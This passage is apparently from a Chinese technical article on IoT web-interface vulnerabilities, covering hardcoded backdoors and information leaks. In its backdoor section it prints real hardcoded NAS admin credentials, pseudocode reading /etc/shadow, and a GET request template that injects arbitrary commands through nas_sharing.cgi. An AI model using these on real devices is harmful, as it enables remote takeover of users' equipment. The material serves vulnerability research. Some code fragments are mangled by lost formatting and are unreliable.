IOTweb常采用开源框架+自研模块的方式,漏洞特点也较为明显:
(一)自研CGI模块中存在漏洞的概率较高,漏洞差异性大(二)开源框架(可能的)漏洞广泛存在各种设备,漏洞同源性强
虽然具体漏洞存在差异,但常见的大致分为几类。
.1漏洞类型.1.1常见web漏洞首先当然是弱口令,虽然在IOT攻击中比重较大但和用户设置相关,再次不做讨论。其次常见的web漏洞包括sql注入、xss、csrf、ssrf、xxe等,由于挖掘和利用方法和服务器web基本相似,且在IOTweb漏洞中占比不高,就不在赘述。唯一想强调的是路由器、防火墙等边界设备尤其要重视ssrf漏洞,不然很容易成为内网渗透的垫脚石。
.1.硬编码硬编码是开发人员为了方便调试(或其他某些原因)在设备内部保留的后门,一般权限较高。有些服务的形式存在,比如某款路由器的IGDMPTD进程默认开启端口,连接就直接获取rootshell。
LOAD:B8sw$zero,0x30+sock_addr($sp)LOAD:BCsw$zero,0x30+sock_addr.sin_zero($sp)LOAD:C0sw$zero,0x30+sock_addr.sin_zero+4($sp)LOAD:C0+4li$v0,LOAD:C8sh$v0,0x30+sock_addr($sp)LOAD:CCli$v0,0xFFFFD0A5#0xd05a=LOAD:D0sh$v0,0x30+sock_addr.sin_port($sp)LOAD:D4sw$zero,0x30+sock_addr.sin_addr($sp)
许多IOTweb应用中也被发现存在硬编码后门,比如某款NAS,以下是该NAS的nas_sharing.cgi的部分IDA伪代码:
structpasswd*__fastcallre_BACKDOOR(constchar*a1,constchar*a){constchar*v;//r5
1constchar*v3;//r41structpasswd*result;//r04FILE*v5;//r65structpasswd*v6;//r57{...}if(!strcmp(v3,"mydlinkBRionyg")!strcmp((constchar*)v9,"abccba")){result=(structpasswd*)1;}else{v5=(FILE*)fopen64("/etc/shadow","r");{...}if(!strcmp(result-pw_name,v3)){strcpy(s,v6-pw_passwd);fclose(v5);strcpy(dest,(constchar*)v9);v7=(constchar*)sub_C(dest,s);return(structpasswd*)(strcmp(v7,s)==0);}{...}}可以看出代码中包含了一个管理员凭据(用户名mydlinkBRionyg/密码abccba),代码中还使用了危险函数strcpy,虽然在这个漏洞没有用到,结合硬编码可以构造命令注入数据实现设备的远程控制。
GET/cgi-bin/nas_sharing.cgi?dbg=1cmd=51user=mydlinkBRionygpasswd=YWJjMTIzNDVjYmEstart=1count=1;{yourcmd};
此种漏洞还是比较直观的,可以通过(二进制)代码审计找到,使用一些反汇编插可以提高挖掘效率,在后文我们会讨论到。
.1.信息泄漏信息泄漏概念比较泛,完全杜绝很困难,一般只要出现对设备研究(攻击)有帮助的信息泄漏都会造成一定危害,不仅用户信息(用户名、密码等),二进制文件地址信息等较为敏感,